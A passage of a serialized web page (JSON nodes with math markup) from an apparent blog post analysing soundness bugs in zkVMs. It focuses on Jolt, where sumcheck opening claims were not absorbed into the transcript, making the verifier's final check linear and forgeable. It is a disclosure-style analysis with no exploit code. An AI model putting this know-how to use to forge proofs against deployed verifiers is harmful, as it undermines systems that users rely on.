lassName":117811},[7142],[117813],{"type":24,"tag":930,"props":117814,"children":117816},{"className":117815},[7147],[117817],{"type":24,"tag":930,"props":117818,"children":117820},{"className":117819},[7152],[117821],{"type":24,"tag":930,"props":117822,"children":117824},{"className":117823,"style":7121},[7157],[117825],{"type":24,"tag":930,"props":117826,"children":117827},{"style":7161},[117828,117832],{"type":24,"tag":930,"props":117829,"children":117831},{"className":117830,"style":7167},[7166],[],{"type":24,"tag":930,"props":117833,"children":117835},{"className":117834},[7172,7173,7174,7175],[117836],{"type":24,"tag":930,"props":117837,"children":117839},{"className":117838},[7126,7175],[117840],{"type":30,"value":20397},{"type":24,"tag":930,"props":117842,"children":117844},{"className":117843},[24840],[117845],{"type":30,"value":6249},{"type":30,"value":117847}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":24,"tag":21895,"props":117849,"children":117850},{},[],{"type":24,"tag":68,"props":117852,"children":117854},{"id":117853},"the-six-broken-systems",[117855],{"type":30,"value":117856},"The Six Broken Systems",{"type":24,"tag":33,"props":117858,"children":117859},{},[117860],{"type":24,"tag":140,"props":117861,"children":117864},{"alt":117862,"src":117863},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":24,"tag":33,"props":117866,"children":117867},{},[117868],{"type":30,"value":117869},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":24,"tag":21895,"props":117871,"children":117872},{},[],{"type":24,"tag":151,"props":117874,"children":117876},{"id":117875},"jolt-a16z",[117877],{"type":30,"value":117878},"Jolt (a16z)",{"type":24,"tag":33,"props":117880,"children":117881},{},[117882],{"type":30,"value":117883},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":24,"tag":33,"props":117885,"children":117886},{},[117887],{"type":24,"tag":275,"props":117888,"children":117889},{},[117890],{"type":30,"value":117891},"The proof structure:",{"type":24,"tag":920,"props":117893,"children":117895},{"code":117894},"JoltProof {\n    commitments: Vec\u003CCommitment>,           // Polynomial commitments to trace\n    opening_claims: Map\u003COpeningId, Claim>,  // \u003C- THE VULNERABLE VALUES\n    proofs: Map\u003CStage, SumcheckProof>,      // Sumcheck and opening proofs\n    ...\n}\n",[117896],{"type":24,"tag":156,"props":117897,"children":117898},{"__ignoreMap":7},[117899],{"type":30,"value":117894},{"type":24,"tag":33,"props":117901,"children":117902},{},[117903],{"type":24,"tag":275,"props":117904,"children":117905},{},[117906],{"type":30,"value":117907},"The verification flow:",{"type":24,"tag":33,"props":117909,"children":117910},{},[117911],{"type":24,"tag":140,"props":117912,"children":117915},{"alt":117913,"src":117914},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":24,"tag":33,"props":117917,"children":117918},{},[117919,117924,117926,117932,117934,117940,117942,117947],{"type":24,"tag":275,"props":117920,"children":117921},{},[117922],{"type":30,"value":117923},"The bug:",{"type":30,"value":117925}," Each sumcheck instance provides an ",{"type":24,"tag":156,"props":117927,"children":117929},{"className":117928},[],[117930],{"type":30,"value":117931},"input_claim",{"type":30,"value":117933},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":24,"tag":156,"props":117935,"children":117937},{"className":117936},[],[117938],{"type":30,"value":117939},"opening_claims",{"type":30,"value":117941}," in the proof, but they were ",{"type":24,"tag":275,"props":117943,"children":117944},{},[117945],{"type":30,"value":117946},"never absorbed into the transcript",{"type":30,"value":117948}," before the batching coefficients were derived.",{"type":24,"tag":33,"props":117950,"children":117951},{},[117952],{"type":24,"tag":140,"props":117953,"children":117956},{"alt":117954,"src":117955},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":24,"tag":33,"props":117958,"children":117959},{},[117960],{"type":24,"tag":275,"props":117961,"children":117962},{},[117963],{"type":30,"value":117964},"How sumcheck uses opening_claims:",{"type":24,"tag":33,"props":117966,"children":117967},{},[117968,117970,117976,117978,118055],{"type":30,"value":117969},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":24,"tag":156,"props":117971,"children":117973},{"className":117972},[],[117974],{"type":30,"value":117975},"BatchedClaim",{"type":30,"value":117977}," by taking a random linear combination of the individual claims ",{"type":24,"tag":156,"props":117979,"children":117981},{"className":117980},[7098,7099],[117982],{"type":24,"tag":930,"props":117983,"children":117985},{"className":117984},[7104],[117986],{"type":24,"tag":930,"props":117987,"children":117989},{"className":117988,"ariaHidden":7110},[7109],[117990],{"type":24,"tag":930,"props":117991,"children":117993},{"className":117992},[7115],[117994,117998],{"type":24,"tag":930,"props":117995,"children":117997},{"className":117996,"style":113472},[7120],[],{"type":24,"tag":930,"props":117999,"children":118001},{"className":118000},[7126],[118002,118007],{"type":24,"tag":930,"props":118003,"children":118005},{"className":118004,"style":96346},[7126,24690],[118006],{"type":30,"value":96349},{"type":24,"tag":930,"props":118008,"children":118010},{"className":118009},[7142],[118011],{"type":24,"tag":930,"props":118012,"children":118014},{"className":118013},[7147,24743],[118015,118044],{"type":24,"tag":930,"props":118016,"children":118018},{"className":118017},[7152],[118019,118039],{"type":24,"tag":930,"props":118020,"children":118022},{"className":118021,"style":96641},[7157],[118023],{"type":24,"tag":930,"props":118024,"children":118025},{"style":112904},[118026,118030],{"type":24,"tag":930,"props":118027,"children":118029},{"className":118028,"style":7167},[7166],[],{"type":24,"tag":930,"props":118031,"children":118033},{"className":118032},[7172,7173,7174,7175],[118034],{"type":24,"tag":930,"props":118035,"children":118037},{"className":118036},[7126,24690,7175],[118038],{"type":30,"value":6854},{"type":24,"tag":930,"props":118040,"children":118042},{"className":118041},[24846],[118043],{"type":30,"value":24849},{"type":24,"tag":930,"props":118045,"children":118047},{"className":118046},[7152],[118048],{"type":24,"tag":930,"props":118049,"children":118051},{"className":118050,"style":96195},[7157],[118052],{"type":24,"tag":930,"props":118053,"children":118054},{},[],{"type":30,"value":476},{"type":24,"tag":33,"props":118057,"children":118058},{},[118059],{"type":24,"tag":156,"props":118060,"children":118062},{"className":118061},[7098,7099],[118063],{"type":24,"tag":930,"props":118064,"children":118066},{"className":118065},[7104],[118067],{"type":24,"tag":930,"props":118068,"children":118070},{"className":118069,"ariaHidden":7110},[7109],[118071,118101,118242],{"type":24,"tag":930,"props":118072,"children":118074},{"className":118073},[7115],[118075,118079,118088,118092,118097],{"type":24,"tag":930,"props":118076,"children":118078},{"className":118077,"style":96027},[7120],[],{"type":24,"tag":930,"props":118080,"children":118082},{"className":118081},[7126,30],[118083],{"type":24,"tag":930,"props":118084,"children":118086},{"className":118085},[7126],[118087],{"type":30,"value":117975},{"type":24,"tag":930,"props":118089,"children":118091},{"className":118090,"style":7304},[7206],[],{"type":24,"tag":930,"props":118093,"children":118095},{"className":118094},[7309],[118096],{"type":30,"value":1161},{"type":24,"tag":930,"props":118098,"children":118100},{"className":118099,"style":7304},[7206],[],{"type":24,"tag":930,"props":118102,"children":118104},{"className":118103},[7115],[118105,118110,118167,118171,118229,118233,118238],{"type":24,"tag":930,"props":118106,"children":118109},{"className":118107,"style":118108},[7120],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":24,"tag":930,"props":118111,"children":118113},{"className":118112},[24725],[118114,118119],{"type":24,"tag":930,"props":118115,"children":118117},{"className":118116,"style":24732},[24725,24730,24731],[118118],{"type":30,"value":111270},{"type":24,"tag":930,"props":118120,"children":118122},{"className":118121},[7142],[118123],{"type":24,"tag":930,"props":118124,"children":118126},{"className":118125},[7147,24743],[118127,118156],{"type":24,"tag":930,"props":118128,"children":118130},{"className":118129},[7152],[118131,118151],{"type":24,"tag":930,"props":118132,"children":118134},{"className":118133,"style":116682},[7157],[118135],{"type":24,"tag":930,"props":118136,"children":118137},{"style":24756},[118138,118142],{"type":24,"tag":930,"props":118139,"children":118141},{"className":118140,"style":7167},[7166],[],{"type":24,"tag":930,"props":118143,"children":118145},{"className":118144},[7172,7173,7174,7175],[118146],{"type":24,"tag":930,"props":118147,"children":118149},{"className":118148},[7126,24690,7175],[118150],{"type":30,"value":6854},{"type":24,"tag":930,"props":118152,"children":118154},{"className":118153},[24846],[118155],{"type":30,"value":24849},{"type":24,"tag":930,"props":118157,"children":118159},{"className":118158},[7152],[118160],{"type":24,"tag":930,"props":118161,"children":118163},{"className":118162,"style":116962},[7157],[118164],{"type":24,"tag":930,"props":118165,"children":118166},{},[],{"type":24,"tag":930,"props":118168,"children":118170},{"className":118169,"style":7245},[7206],[],{"type":24,"tag":930,"props":118172,"children":118174},{"className":118173},[7126],[118175,118180],{"type":24,"tag":930,"props":118176,"children":118178},{"className":118177,"style":117563},[7126,24690],[118179],{"type":30,"value":117566},{"type":24,"tag":930,"props":118181,"children":118183},{"className":118182},[7142],[118184],{"type":24,"tag":930,"props":118185,"children":118187},{"className":118186},[7147,24743],[118188,118218],{"type":24,"tag":930,"props":118189,"children":118191},{"className":118190},[7152],[118192,118213],{"type":24,"tag":930,"props":118193,"children":118195},{"className":118194,"style":96641},[7157],[118196],{"type":24,"tag":930,"props":118197,"children":118199},{"style":118198},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[118200,118204],{"type":24,"tag":930,"props":118201,"children":118203},{"className":118202,"style":7167},[7166],[],{"type":24,"tag":930,"props":118205,"children":118207},{"className":118206},[7172,7173,7174,7175],[118208],{"type":24,"tag":930,"props":118209,"children":118211},{"className":118210},[7126,24690,7175],[118212],{"type":30,"value":6854},{"type":24,"tag":930,"props":118214,"children":118216},{"className":118215},[24846],[118217],{"type":30,"value":24849},{"type":24,"tag":930,"props":118219,"children":118221},{"className":118220},[7152],[118222],{"type":24,"tag":930,"props":118223,"children":118225},{"className":118224,"style":96195},[7157],[118226],{"type":24,"tag":930,"props":118227,"children":118228},{},[],{"type":24,"tag":930,"props":118230,"children":118232},{"className":118231,"style":7207},[7206],[],{"type":24,"tag":930,"props":118234,"children":118236},{"className":118235},[7212],[118237],{"type":30,"value":113737},{"type":24,"tag":930,"props":118239,"children":118241},{"className":118240,"style":7207},[7206],[],{"type":24,"tag":930,"props":118243,"children":118245},{"className":118244},[7115],[118246,118250],{"type":24,"tag":930,"props":118247,"children":118249},{"className":118248,"style":113472},[7120],[],{"type":24,"tag":930,"props":118251,"children":118253},{"className":118252},[7126],[118254,118259],{"type":24,"tag":930,"props":118255,"children":118257},{"className":118256,"style":96346},[7126,24690],[118258],{"type":30,"value":96349},{"type":24,"tag":930,"props":118260,"children":118262},{"className":118261},[7142],[118263],{"type":24,"tag":930,"props":118264,"children":118266},{"className":118265},[7147,24743],[118267,118296],{"type":24,"tag":930,"props":118268,"children":118270},{"className":118269},[7152],[118271,118291],{"type":24,"tag":930,"props":118272,"children":118274},{"className":118273,"style":96641},[7157],[118275],{"type":24,"tag":930,"props":118276,"children":118277},{"style":112904},[118278,118282],{"type":24,"tag":930,"props":118279,"children":118281},{"className":118280,"style":7167},[7166],[],{"type":24,"tag":930,"props":118283,"children":118285},{"className":118284},[7172,7173,7174,7175],[118286],{"type":24,"tag":930,"props":118287,"children":118289},{"className":118288},[7126,24690,7175],[118290],{"type":30,"value":6854},{"type":24,"tag":930,"props":118292,"children":118294},{"className":118293},[24846],[118295],{"type":30,"value":24849},{"type":24,"tag":930,"props":118297,"children":118299},{"className":118298},[7152],[118300],{"type":24,"tag":930,"props":118301,"children":118303},{"className":118302,"style":96195},[7157],[118304],{"type":24,"tag":930,"props":118305,"children":118306},{},[],{"type":24,"tag":33,"props":118308,"children":118309},{},[118310,118312,118389,118391,118396,118398,118475,118477,118554,118556,118633],{"type":30,"value":118311},"where ",{"type":24,"tag":156,"props":118313,"children":118315},{"className":118314},[7098,7099],[118316],{"type":24,"tag":930,"props":118317,"children":118319},{"className":118318},[7104],[118320],{"type":24,"tag":930,"props":118321,"children":118323},{"className":118322,"ariaHidden":7110},[7109],[118324],{"type":24,"tag":930,"props":118325,"children":118327},{"className":118326},[7115],[118328,118332],{"type":24,"tag":930,"props":118329,"children":118331},{"className":118330,"style":112445},[7120],[],{"type":24,"tag":930,"props":118333,"children":118335},{"className":118334},[7126],[118336,118341],{"type":24,"tag":930,"props":118337,"children":118339},{"className":118338,"style":117563},[7126,24690],[118340],{"type":30,"value":117566},{"type":24,"tag":930,"props":118342,"children":118344},{"className":118343},[7142],[118345],{"type":24,"tag":930,"props":118346,"children":118348},{"className":118347},[7147,24743],[118349,118378],{"type":24,"tag":930,"props":118350,"children":118352},{"className":118351},[7152],[118353,118373],{"type":24,"tag":930,"props":118354,"children":118356},{"className":118355,"style":96641},[7157],[118357],{"type":24,"tag":930,"props":118358,"children":118359},{"style":118198},[118360,118364],{"type":24,"tag":930,"props":118361,"children":118363},{"className":118362,"style":7167},[7166],[],{"type":24,"tag":930,"props":118365,"children":118367},{"className":118366},[7172,7173,7174,7175],[118368],{"type":24,"tag":930,"props":118369,"children":118371},{"className":118370},[7126,24690,7175],[118372],{"type":30,"value":6854},{"type":24,"tag":930,"props":118374,"children":118376},{"className":118375},[24846],[118377],{"type":30,"value":24849},{"type":24,"tag":930,"props":118379,"children":118381},{"className":118380},[7152],[118382],{"type":24,"tag":930,"props":118383,"children":118385},{"className":118384,"style":96195},[7157],[118386],{"type":24,"tag":930,"props":118387,"children":118388},{},[],{"type":30,"value":118390}," are random coefficients derived from the transcript. Since ",{"type":24,"tag":156,"props":118392,"children":118394},{"className":118393},[],[118395],{"type":30,"value":117939},{"type":30,"value":118397}," (containing ",{"type":24,"tag":156,"props":118399,"children":118401},{"className":118400},[7098,7099],[118402],{"type":24,"tag":930,"props":118403,"children":118405},{"className":118404},[7104],[118406],{"type":24,"tag":930,"props":118407,"children":118409},{"className":118408,"ariaHidden":7110},[7109],[118410],{"type":24,"tag":930,"props":118411,"children":118413},{"className":118412},[7115],[118414,118418],{"type":24,"tag":930,"props":118415,"children":118417},{"className":118416,"style":113472},[7120],[],{"type":24,"tag":930,"props":118419,"children":118421},{"className":118420},[7126],[118422,118427],{"type":24,"tag":930,"props":118423,"children":118425},{"className":118424,"style":96346},[7126,24690],[118426],{"type":30,"value":96349},{"type":24,"tag":930,"props":118428,"children":118430},{"className":118429},[7142],[118431],{"type":24,"tag":930,"props":118432,"children":118434},{"className":118433},[7147,24743],[118435,118464],{"type":24,"tag":930,"props":118436,"children":118438},{"className":118437},[7152],[118439,118459],{"type":24,"tag":930,"props":118440,"children":118442},{"className":118441,"style":96641},[7157],[118443],{"type":24,"tag":930,"props":118444,"children":118445},{"style":112904},[118446,118450],{"type":24,"tag":930,"props":118447,"children":118449},{"className":118448,"style":7167},[7166],[],{"type":24,"tag":930,"props":118451,"children":118453},{"className":118452},[7172,7173,7174,7175],[118454],{"type":24,"tag":930,"props":118455,"children":118457},{"className":118456},[7126,24690,7175],[118458],{"type":30,"value":6854},{"type":24,"tag":930,"props":118460,"children":118462},{"className":118461},[24846],[118463],{"type":30,"value":24849},{"type":24,"tag":930,"props":118465,"children":118467},{"className":118466},[7152],[118468],{"type":24,"tag":930,"props":118469,"children":118471},{"className":118470,"style":96195},[7157],[118472],{"type":24,"tag":930,"props":118473,"children":118474},{},[],{"type":30,"value":118476},") were not in the transcript, the ",{"type":24,"tag":156,"props":118478,"children":118480},{"className":118479},[7098,7099],[118481],{"type":24,"tag":930,"props":118482,"children":118484},{"className":118483},[7104],[118485],{"type":24,"tag":930,"props":118486,"children":118488},{"className":118487,"ariaHidden":7110},[7109],[118489],{"type":24,"tag":930,"props":118490,"children":118492},{"className":118491},[7115],[118493,118497],{"type":24,"tag":930,"props":118494,"children":118496},{"className":118495,"style":112445},[7120],[],{"type":24,"tag":930,"props":118498,"children":118500},{"className":118499},[7126],[118501,118506],{"type":24,"tag":930,"props":118502,"children":118504},{"className":118503,"style":117563},[7126,24690],[118505],{"type":30,"value":117566},{"type":24,"tag":930,"props":118507,"children":118509},{"className":118508},[7142],[118510],{"type":24,"tag":930,"props":118511,"children":118513},{"className":118512},[7147,24743],[118514,118543],{"type":24,"tag":930,"props":118515,"children":118517},{"className":118516},[7152],[118518,118538],{"type":24,"tag":930,"props":118519,"children":118521},{"className":118520,"style":96641},[7157],[118522],{"type":24,"tag":930,"props":118523,"children":118524},{"style":118198},[118525,118529],{"type":24,"tag":930,"props":118526,"children":118528},{"className":118527,"style":7167},[7166],[],{"type":24,"tag":930,"props":118530,"children":118532},{"className":118531},[7172,7173,7174,7175],[118533],{"type":24,"tag":930,"props":118534,"children":118536},{"className":118535},[7126,24690,7175],[118537],{"type":30,"value":6854},{"type":24,"tag":930,"props":118539,"children":118541},{"className":118540},[24846],[118542],{"type":30,"value":24849},{"type":24,"tag":930,"props":118544,"children":118546},{"className":118545},[7152],[118547],{"type":24,"tag":930,"props":118548,"children":118550},{"className":118549,"style":96195},[7157],[118551],{"type":24,"tag":930,"props":118552,"children":118553},{},[],{"type":30,"value":118555}," values are independent of ",{"type":24,"tag":156,"props":118557,"children":118559},{"className":118558},[7098,7099],[118560],{"type":24,"tag":930,"props":118561,"children":118563},{"className":118562},[7104],[118564],{"type":24,"tag":930,"props":118565,"children":118567},{"className":118566,"ariaHidden":7110},[7109],[118568],{"type":24,"tag":930,"props":118569,"children":118571},{"className":118570},[7115],[118572,118576],{"type":24,"tag":930,"props":118573,"children":118575},{"className":118574,"style":113472},[7120],[],{"type":24,"tag":930,"props":118577,"children":118579},{"className":118578},[7126],[118580,118585],{"type":24,"tag":930,"props":118581,"children":118583},{"className":118582,"style":96346},[7126,24690],[118584],{"type":30,"value":96349},{"type":24,"tag":930,"props":118586,"children":118588},{"className":118587},[7142],[118589],{"type":24,"tag":930,"props":118590,"children":118592},{"className":118591},[7147,24743],[118593,118622],{"type":24,"tag":930,"props":118594,"children":118596},{"className":118595},[7152],[118597,118617],{"type":24,"tag":930,"props":118598,"children":118600},{"className":118599,"style":96641},[7157],[118601],{"type":24,"tag":930,"props":118602,"children":118603},{"style":112904},[118604,118608],{"type":24,"tag":930,"props":118605,"children":118607},{"className":118606,"style":7167},[7166],[],{"type":24,"tag":930,"props":118609,"children":118611},{"className":118610},[7172,7173,7174,7175],[118612],{"type":24,"tag":930,"props":118613,"children":118615},{"className":118614},[7126,24690,7175],[118616],{"type":30,"value":6854},{"type":24,"tag":930,"props":118618,"children":118620},{"className":118619},[24846],[118621],{"type":30,"value":24849},{"type":24,"tag":930,"props":118623,"children":118625},{"className":118624},[7152],[118626],{"type":24,"tag":930,"props":118627,"children":118629},{"className":118628,"style":96195},[7157],[118630],{"type":24,"tag":930,"props":118631,"children":118632},{},[],{"type":30,"value":436},{"type":24,"tag":33,"props":118635,"children":118636},{},[118637],{"type":24,"tag":275,"props":118638,"children":118639},{},[118640],{"type":30,"value":118641},"Why it's linear:",{"type":24,"tag":33,"props":118643,"children":118644},{},[118645,118647],{"type":30,"value":118646},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":24,"tag":156,"props":118648,"children":118650},{"className":118649},[7098,7099],[118651],{"type":24,"tag":930,"props":118652,"children":118654},{"className":118653},[7104],[118655],{"type":24,"tag":930,"props":118656,"children":118658},{"className":118657,"ariaHidden":7110},[7109],[118659],{"type":24,"tag":930,"props":118660,"children":118662},{"className":118661},[7115],[118663,118667],{"type":24,"tag":930,"props":118664,"children":118666},{"className":118665,"style":24685},[7120],[],{"type":24,"tag":930,"props":118668,"children":118670},{"className":118669,"style":96346},[7126,24690],[118671],{"type":30,"value":96349},{"type":24,"tag":33,"props":118673,"children":118674},{},[118675],{"type":24,"tag":156,"props":118676,"children":118678},{"className":118677},[7098,7099],[118679],{"type":24,"tag":930,"props":118680,"children":118682},{"className":118681},[7104],[118683],{"type":24,"tag":930,"props":118684,"children":118686},{"className":118685,"ariaHidden":7110},[7109],[118687,118777,118803,118829],{"type":24,"tag":930,"props":118688,"children":118690},{"className":118689},[7115],[118691,118695,118764,118768,118773],{"type":24,"tag":930,"props":118692,"children":118694},{"className":118693,"style":113472},[7120],[],{"type":24,"tag":930,"props":118696,"children":118698},{"className":118697},[7126],[118699,118705],{"type":24,"tag":930,"props":118700,"children":118702},{"className":118701,"style":25221},[7126,24690],[118703],{"type":30,"value":118704},"C",{"type":24,"tag":930,"props":118706,"children":118708},{"className":118707},[7142],[118709],{"type":24,"tag":930,"props":118710,"children":118712},{"className":118711},[7147,24743],[118713,118753],{"type":24,"tag":930,"props":118714,"children":118716},{"className":118715},[7152],[118717,118748],{"type":24,"tag":930,"props":118718,"children":118721},{"className":118719,"style":118720},[7157],"height:0.3361em;",[118722],{"type":24,"tag":930,"props":118723,"children":118725},{"style":118724},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[118726,118730],{"type":24,"tag":930,"props":118727,"children":118729},{"className":118728,"style":7167},[7166],[],{"type":24,"tag":930,"props":118731,"children":118733},{"className":118732},[7172,7173,7174,7175],[118734],{"type":24,"tag":930,"props":118735,"children":118737},{"className":118736},[7126,7175],[118738],{"type":24,"tag":930,"props":118739,"children":118741},{"className":118740},[7126,30,7175],[118742],{"type":24,"tag":930,"props":118743,"children":118745},{"className":118744},[7126,7175],[118746],{"type":30,"value":118747},"final",{"type":24,"tag":930,"props":118749,"children":118751},{"className":118750},[24846],[118752],{"type":30,"value":24849},{"type":24,"tag":930,"props":118754,"children":118756},{"className":118755},[7152],[118757],{"type":24,"tag":930,"props":118758,"children":118760},{"className":118759,"style":96195},[7157],[118761],{"type":24,"tag":930,"props":118762,"children":118763},{},[],{"type":24,"tag":930,"props":118765,"children":118767},{"className":118766,"style":7304},[7206],[],{"type":24,"tag":930,"props":118769,"children":118771},{"className":118770},[7309],[118772],{"type":30,"value":1161},{"type":24,"tag":930,"props":118774,"children":118776},{"className":118775,"style":7304},[7206],[],{"type":24,"tag":930,"props":118778,"children":118780},{"className":118779},[7115],[118781,118785,118790,118794,118799],{"type":24,"tag":930,"props":118782,"children":118784},{"className":118783,"style":117558},[7120],[],{"type":24,"tag":930,"props":118786,"children":118788},{"className":118787},[7126,24690],[118789],{"type":30,"value":37},{"type":24,"tag":930,"props":118791,"children":118793},{"className":118792,"style":7207},[7206],[],{"type":24,"tag":930,"props":118795,"children":118797},{"className":118796},[7212],[118798],{"type":30,"value":113737},{"type":24,"tag":930,"props":118800,"children":118802},{"className":118801,"style":7207},[7206],[],{"type":24,"tag":930,"props":118804,"children":118806},{"className":118805},[7115],[118807,118811,118816,118820,118825],{"type":24,"tag":930,"props":118808,"children":118810},{"className":118809,"style":117587},[7120],[],{"type":24,"tag":930,"props":118812,"children":118814},{"className":118813,"style":96346},[7126,24690],[118815],{"type":30,"value":96349},{"type":24,"tag":930,"props":118817,"children":118819},{"className":118818,"style":7207},[7206],[],{"type":24,"tag":930,"props":118821,"children":118823},{"className":118822},[7212],[118824],{"type":30,"value":1400},{"type":24,"tag":930,"props":118826,"children":118828},{"className":118827,"style":7207},[7206],[],{"type":24,"tag":930,"props":118830,"children":118832},{"className":118831},[7115],[118833,118837],{"type":24,"tag":930,"props":118834,"children":118836},{"className":118835,"style":96027},[7120],[],{"type":24,"tag":930,"props":118838,"children":118840},{"className":118839},[7126,24690],[118841],{"type":30,"value":6343},{"type":24,"tag":33,"props":118843,"children":118844},{},[118845,118846,118885,118887,118912,118914,119044,119046,119167],{"type":30,"value":118311},{"type":24,"tag":156,"props":118847,"children":118849},{"className":118848},[7098,7099],[118850],{"type":24,"tag":930,"props":118851,"children":118853},{"className":118852},[7104],[118854],{"type":24,"tag":930,"props":118855,"children":118857},{"className":118856,"ariaHidden":7110},[7109],[118858],{"type":24,"tag":930,"props":118859,"children":118861},{"className":118860},[7115],[118862,118866,118871,118876,118880],{"type":24,"tag":930,"props":118863,"children":118865},{"className":118864,"style":117530},[7120],[],{"type":24,"tag":930,"props":118867,"children":118869},{"className":118868},[7126,24690],[118870],{"type":30,"value":37},{"type":24,"tag":930,"props":118872,"children":118874},{"className":118873},[7238],[118875],{"type":30,"value":7241},{"type":24,"tag":930,"props":118877,"children":118879},{"className":118878,"style":7245},[7206],[],{"type":24,"tag":930,"props":118881,"children":118883},{"className":118882},[7126,24690],[118884],{"type":30,"value":6343},{"type":30,"value":118886}," are determined by the transcript (independent of ",{"type":24,"tag":156,"props":118888,"children":118890},{"className":118889},[7098,7099],[118891],{"type":24,"tag":930,"props":118892,"children":118894},{"className":118893},[7104],[118895],{"type":24,"tag":930,"props":118896,"children":118898},{"className":118897,"ariaHidden":7110},[7109],[118899],{"type":24,"tag":930,"props":118900,"children":118902},{"className":118901},[7115],[118903,118907],{"type":24,"tag":930,"props":118904,"children":118906},{"className":118905,"style":24685},[7120],[],{"type":24,"tag":930,"props":118908,"children":118910},{"className":118909,"style":96346},[7126,24690],[118911],{"type":30,"value":96349},{"type":30,"value":118913},"). The verifier checks that ",{"type":24,"tag":156,"props":118915,"children":118917},{"className":118916},[7098,7099],[118918],{"type":24,"tag":930,"props":118919,"children":118921},{"className":118920},[7104],[118922],{"type":24,"tag":930,"props":118923,"children":118925},{"className":118924,"ariaHidden":7110},[7109],[118926,119012],{"type":24,"tag":930,"props":118927,"children":118929},{"className":118928},[7115],[118930,118934,118999,119003,119008],{"type":24,"tag":930,"props":118931,"children":118933},{"className":118932,"style":113472},[7120],[],{"type":24,"tag":930,"props":118935,"children":118937},{"className":118936},[7126],[118938,118943],{"type":24,"tag":930,"props":118939,"children":118941},{"className":118940,"style":25221},[7126,24690],[118942],{"type":30,"value":118704},{"type":24,"tag":930,"props":118944,"children":118946},{"className":118945},[7142],[118947],{"type":24,"tag":930,"props":118948,"children":118950},{"className":118949},[7147,24743],[118951,118988],{"type":24,"tag":930,"props":118952,"children":118954},{"className":118953},[7152],[118955,118983],{"type":24,"tag":930,"props":118956,"children":118958},{"className":118957,"style":118720},[7157],[118959],{"type":24,"tag":930,"props":118960,"children":118961},{"style":118724},[118962,118966],{"type":24,"tag":930,"props":118963,"children":118965},{"className":118964,"style":7167},[7166],[],{"type":24,"tag":930,"props":118967,"children":118969},{"className":118968},[7172,7173,7174,7175],[118970],{"type":24,"tag":930,"props":118971,"children":118973},{"className":118972},[7126,7175],[118974],{"type":24,"tag":930,"props":118975,"children":118977},{"className":118976},[7126,30,7175],[118978],{"type":24,"tag":930,"props":118979,"children":118981},{"className":118980},[7126,7175],[118982],{"type":30,"value":118747},{"type":24,"tag":930,"props":118984,"children":118986},{"className":118985},[24846],[118987],{"type":30,"value":24849},{"type":24,"tag":930,"props":118989,"children":118991},{"className":118990},[7152],[118992],{"type":24,"tag":930,"props":118993,"children":118995},{"className":118994,"style":96195},[7157],[118996],{"type":24,"tag":930,"props":118997,"children":118998},{},[],{"type":24,"tag":930,"props":119000,"children":119002},{"className":119001,"style":7304},[7206],[],{"type":24,"tag":930,"props":119004,"children":119006},{"className":119005},[7309],[119007],{"type":30,"value":1161},{"type":24,"tag":930,"props":119009,"children":119011},{"className":119010,"style":7304},[7206],[],{"type":24,"tag":930,"props":119013,"children":119015},{"className":119014},[7115],[119016,119020,119030,119035],{"type":24,"tag":930,"props":119017,"children":119019},{"className":119018,"style":97525},[7120],[],{"type":24,"tag":930,"props":119021,"children":119023},{"className":119022},[7126,30],[119024],{"type":24,"tag":930,"props":119025,"children":119027},{"className":119026},[7126],[119028],{"type":30,"value":119029},"expected",{"type":24,"tag":930,"props":119031,"children":119033},{"className":119032,"style":96112},[7126],[119034],{"type":30,"value":6204},{"type":24,"tag":930,"props":119036,"children":119038},{"className":119037},[7126,30],[119039],{"type":24,"tag":930,"props":119040,"children":119042},{"className":119041},[7126],[119043],{"type":30,"value":40636},{"type":30,"value":119045}," (from PCS opening), this becomes ",{"type":24,"tag":156,"props":119047,"children":119049},{"className":119048},[7098,7099],[119050],{"type":24,"tag":930,"props":119051,"children":119053},{"className":119052},[7104],[119054],{"type":24,"tag":930,"props":119055,"children":119057},{"className":119056,"ariaHidden":7110},[7109],[119058,119084,119110,119136],{"type":24,"tag":930,"props":119059,"children":119061},{"className":119060},[7115],[119062,119066,119071,119075,119080],{"type":24,"tag":930,"props":119063,"children":119065},{"className":119064,"style":117558},[7120],[],{"type":24,"tag":930,"props":119067,"children":119069},{"className":119068},[7126,24690],[119070],{"type":30,"value":37},{"type":24,"tag":930,"props":119072,"children":119074},{"className":119073,"style":7207},[7206],[],{"type":24,"tag":930,"props":119076,"children":119078},{"className":119077},[7212],[119079],{"type":30,"value":113737},{"type":24,"tag":930,"props":119081,"children":119083},{"className":119082,"style":7207},[7206],[],{"type":24,"tag":930,"props":119085,"children":119087},{"className":119086},[7115],[119088,119092,119097,119101,119106],{"type":24,"tag":930,"props":119089,"children":119091},{"className":119090,"style":117587},[7120],[],{"type":24,"tag":930,"props":119093,"children":119095},{"className":119094,"style":96346},[7126,24690],[119096],{"type":30,"value":96349},{"type":24,"tag":930,"props":119098,"children":119100},{"className":119099,"style":7207},[7206],[],{"type":24,"tag":930,"props":119102,"children":119104},{"className":119103},[7212],[119105],{"type":30,"value":1400},{"type":24,"tag":930,"props":119107,"children":119109},{"className":119108,"style":7207},[7206],[],{"type":24,"tag":930,"props":119111,"children":119113},{"className":119112},[7115],[119114,119118,119123,119127,119132],{"type":24,"tag":930,"props":119115,"children":119117},{"className":119116,"style":96027},[7120],[],{"type":24,"tag":930,"props":119119,"children":119121},{"className":119120},[7126,24690],[119122],{"type":30,"value":6343},{"type":24,"tag":930,"props":119124,"children":119126},{"className":119125,"style":7304},[7206],[],{"type":24,"tag":930,"props":119128,"children":119130},{"className":119129},[7309],[119131],{"type":30,"value":1161},{"type":24,"tag":930,"props":119133,"children":119135},{"className":119134,"style":7304},[7206],[],{"type":24,"tag":930,"props":119137,"children":119139},{"className":119138},[7115],[119140,119144,119153,119158],{"t